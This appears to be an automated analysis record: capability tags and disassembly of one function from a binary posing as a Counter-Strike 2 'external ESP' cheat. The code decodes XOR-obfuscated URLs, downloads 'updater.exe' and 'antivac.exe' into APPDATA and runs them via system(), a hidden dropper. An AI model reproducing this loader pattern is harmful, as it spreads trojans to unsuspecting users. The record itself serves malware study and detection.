Function at 0x140013a90
Capabilities:
Contain obfuscated stackstrings
Download url
Enumerate process modules
Execute command
Log keystrokes via polling
Query environment variable
Receive data
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x960]
sub rsp, 0xa60
mov rax, qword [0x140020010]
xor rax, rsp
mov qword [rbp + 0x950], rax
xor r12d, r12d
lea rcx, str.cs2_external_esp
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea ecx, [r12 + 0x38]
call fcn.1400152c0
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov edi, 1
mov dword [rax + 8], edi
mov dword [rax + 0xc], edi
lea rcx, vtable.std::_Ref_count_obj2_class_pProcess_.0
mov qword [rax], rcx
lea rcx, [rax + 0x10]
xor edx, edx
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm0
mov qword [rcx + 0x20], rdx
mov qword [0x140020de0], rcx
mov rbx, qword [0x140020de8]
mov qword [0x140020de8], rax
test rbx, rbx
je 0x140013b5a
mov eax, 0xffffffff
lock xadd dword [rbx + 8], eax
cmp eax, edi
jne 0x140013b5a
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, edi
jne 0x140013b5a
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
lea rdx, str._cs2__Waitin1g_for_cs2.exe...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c30
lea rdx, [0x140003e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movabs rsi, 0x7fffffffc46535fe
movabs r15, 0x7fffffffffffffff
mov rbx, qword [0x140020de0]
call fcn.140014a70
mov dword [rbx], eax
test eax, eax
jne 0x140013c0c
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140013bc1
imul rax, rax, 0x64
jmp 0x140013bdf
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
cmp rax, rsi
jg 0x140013bfb
add rax, 0x3b9aca00
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x60]
call fcn.140014940
jmp 0x140013b91
mov qword [rsp + 0x60], r15
lea rcx, [rsp + 0x60]
call fcn.140014940
jmp 0x140013b91
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbx + 8], rax
mov dword [rsp + 0x20], 2
lea r9, [rbp + 0xd0]
mov r8d, 0x7f8
lea rdx, [rbp + 0x150]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModulesEx]
mov rdx, qword [rbp + 0x150]
mov qword [rbx + 0x18], rdx
mov r9d, 0x18
lea r8, [rbp + 0xb0]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov eax, dword [rbp + 0xb8]
mov qword [rbx + 0x20], rax
mov edx, dword [rbx]
call fcn.140014ca0
mov qword [rbx + 0x10], rax
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.140001a80
nop
mov r8d, 0xc
lea rdx, str.updater.exe
lea rcx, [rbp + 0xf8]
call fcn.140002b30
lea r8, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae r8, qword [rbp + 0xf8]
mov dword [rbp - 0x3c], 0x56005633
mov cl, 0x56
mov dword [rbp - 0x40], 0x2e337834
mov dword [rbp - 0x44], 0x20796261
mov dword [rbp - 0x48], 0x62636563
mov dword [rbp - 0x4c], 0x606e6564
mov dword [rbp - 0x50], 0x6f67606f
mov dword [rbp - 0x54], 0x62636367
mov dword [rbp - 0x58], 0x6779656f
mov dword [rbp - 0x5c], 0x6f60666e
mov dword [rbp - 0x60], 0x66646162
mov dword [rbp - 0x64], 0x63646266
mov dword [rbp - 0x68], 0x61626367
mov dword [rbp - 0x6c], 0x67792522
mov dword [rbp - 0x70], 0x38333b3e
mov dword [rbp - 0x74], 0x35372222
mov dword [rbp - 0x78], 0x37793b39
mov dword [rbp - 0x7c], 0x35782626
mov dword [rbp - 0x80], 0x37322439
mov dword [rsp + 0x7c], 0x35253f32
mov dword [rsp + 0x78], 0x78383235
mov dword [rsp + 0x74], 0x79796c25
mov dword [rsp + 0x70], 0x2622223e
lea rax, [rsp + 0x70]
nop
xor byte [rax], cl
inc rax
lea rcx, [rbp - 0x3a]
cmp rax, rcx
je 0x140013d84
movzx ecx, byte [rbp - 0x39]
jmp 0x140013d70
mov byte [rbp - 0x3a], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x140013ea3
lea r8, [rbp + 0xf8]
lea rcx, [rbp + 0x30]
call fcn.1400147b0
nop
mov r8, rdi
lea rdx, [0x14001a3a0]
mov rcx, rax
call fcn.140002b30
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140013e42
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013e3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013e3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015554
lea rcx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0x10
cmovae rcx, qword [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x140013ea3
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013e9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013e9e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015554
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.140001a80
nop
mov r8d, 0xc
lea rdx, str._antivac.exe
lea rcx, [rbp + 0xd8]
call fcn.140002b30
lea r8, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0x10
cmovae r8, qword [rbp + 0xd8]
mov dword [rbp + 0x29], 0x5b005b3e
mov cl, 0x5b
mov dword [rbp + 0x25], 0x233e753f
mov dword [rbp + 0x21], 0x3e2f2b22
mov dword [rbp + 0x1d], 0x29387463
mov dword [rbp + 0x19], 0x63626a68
mov dword [rbp + 0x15], 0x6263626a
mov dword [rbp + 0x11], 0x6a6d626f
mov dword [rbp + 0xd], 0x626f6e6e
mov dword [rbp + 9], 0x6a6a7468
mov dword [rbp + 5], 0x62626d6b
mov dword [rbp + 1], 0x636b696c
mov dword [rbp - 3], 0x6f6e696f
mov dword [rbp - 7], 0x6b6c6f6e
mov dword [rbp - 0xb], 0x6a6a7428
mov dword [rbp - 0xf], 0x2f353e36
mov dword [rbp - 0x13], 0x33383a2f
mov dword [rbp - 0x17], 0x2f3a7436
mov dword [rbp - 0x1b], 0x3438752b
mov dword [rbp - 0x1f], 0x2b3a3f29
mov dword [rbp - 0x23], 0x34382832
mov dword [rbp - 0x27], 0x3f75353f
mov dword [rbp - 0x2b], 0x38747461
mov dword [rbp - 0x2f], 0x282b2f2f
mov byte [rbp - 0x30], 0x33
lea rax, [rbp - 0x30]
nop dword [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rbp + 0x2b]
cmp rax, rcx
je 0x140013fb4
movzx ecx, byte [rbp + 0x2c]
jmp 0x140013fa0
mov byte [rbp + 0x2b], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x1400140d2
lea r8, [rbp + 0xd8]
lea rcx, [rbp + 0x30]
call fcn.1400147b0
nop
mov r8, rdi
lea rdx, [0x14001a3a0]
mov rcx, rax
call fcn.140002b30
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140014071
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001406c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001406c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015554
lea rcx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0x10
cmovae rcx, qword [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x1400140d2
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400140cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400140cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015554
lea rdx, str._cs2__Attached_to_cs2.exe_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c30
lea rdx, [0x140003e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._config__Reading_offsets_from_configuration.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c30
lea rdx, [0x140003e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14000be40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
lea rdx, str._config__Sucessfully_read_offsets_file_n
jne 0x140014136
lea rdx, str._config__Error_reading_offsets_file__reseting_to_the_default_state_n
call fcn.140003c30
lea rdx, [0x140003e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._warn__If_the_esp_doesnt_work__consider_updating_offsets_manually_in_the_file_offsets.json
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c30
lea rdx, [0x140003e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rdx, [rbp + 0x50]
mov rcx, qword [0x140020de0]
call fcn.140014d60
movups xmm0, xmmword [rax]
movups xmmword [0x140020dc0], xmm0
movq rax, xmm0
test rax, rax
jne 0x1400141d0
mov qword [rsp + 0x60], rdi
lea rcx, [rsp + 0x60]
call fcn.140014710
lea rdx, str._cs2__Failed_to_find_module_client.dll__waiting_for_the_game_to_load_it...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c30
lea rdx, [0x140003e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x140020dc0], 0
je 0x140014170
lea rdx, str._overlay__Waiting_to_focus_game_to_create_the_overlay...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c30
lea rdx, [0x140003e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [0x140020de0]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rbx + 0x10]
je 0x1400142aa
movabs rsi, 0x7fffffffc46535ff
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140014232
imul rax, rax, 0x64
jmp 0x14001424d
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rsi
jge 0x14001425f
add rax, 0x3b9aca00
mov qword [rsp + 0x60], rax
jmp 0x140014264
mov qword [rsp + 0x60], r15
lea rcx, [rsp + 0x60]
call fcn.140014940
mov rbx, qword [0x140020de0]
mov edx, dword [rbx]
call fcn.140014ca0
mov qword [rbx + 0x10], rax
mov edx, edi
mov rcx, qword [0x140020de0]
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rbx, qword [0x140020de0]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rbx + 0x10]
jne 0x140014214
lea rdx, str._overlay__Creating_window_overlay...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c30
lea rdx, [0x140003e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 0x70], r12
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0xa8], r12
mov dword [rbp + 0x60], 0x50
lea rax, [0x1400138a0]
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x64], 3
mov qword [rbp + 0x90], r12
mov edx, 0xfffffffa
mov rcx, qword [0x140020de0]
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.USER32.dll_GetWindowLongA]
movsxd rcx, eax
mov qword [rbp + 0x78], rcx
lea rbx, [0x14001a5b8]
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0xa0], rbx
lea rcx, [rbp + 0x60]
call qword [sym.imp.USER32.dll_RegisterClassExA]
lea rdx, [0x140020dd0]
mov rcx, qword [0x140020de0]
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.USER32.dll_GetClientRect]
mov r9d, dword [0x140020dd0]
mov ecx, dword [0x140020ddc]
add ecx, r9d
mov eax, dword [0x140020dd8]
sub eax, r9d
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], eax
mov eax, dword [0x140020dd4]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r9d
mov r9d, 0x80000000
lea r8, str.cs2_external_esp
mov rdx, rbx
mov ecx, 0x800a8
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rsi, rax
test rax, rax
jne 0x1400143c6
mov edi, r12d
jmp 0x140014592
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [r9 - 1]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowPos]
mov edx, edi
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x118]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x1400144c7
movabs r14, 0x7ffffffffff0bdbf
nop dword [rax]
mov ecx, 0x23
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jb 0x1400144c7
lea rcx, [rbp + 0x118]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x118]
call qword [sym.imp.USER32.dll_DispatchMessageA]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14001446e
imul rax, rax, 0x64
jmp 0x140014489
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x14001449b
add rax, 0xf4240
mov qword [rsp + 0x60], rax
jmp 0x1400144a0
mov qword [rsp + 0x60], r15
lea rcx, [rsp + 0x60]
call fcn.140014940
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x118]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x140014420
mov edx, 0x64
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x64
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, str._overlay__Destroying_overlay_window.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c30
lea rdx, [0x140003e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x140020df0]
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rcx, qword [0x140020df8]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, rsi
call qword [sym.imp.USER32.dll_DestroyWindow]
lea rdx, str._cs2__Deataching_from_process
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c30
lea rdx, [0x140003e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x140020de0]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str._cs2__Press_any_key_to_close
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c30
lea rdx, [0x140003e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x1400145d6
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400145d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400145d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015554
mov qword [rbp + 0xe8], r12
mov qword [rbp + 0xf0], 0xf
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x140014633
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001462e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001462e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015554
mov eax, edi
mov rcx, qword [rbp + 0x950]
xor rcx, rsp
call fcn.1400152a0
lea r11, [rsp + 0xa60]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret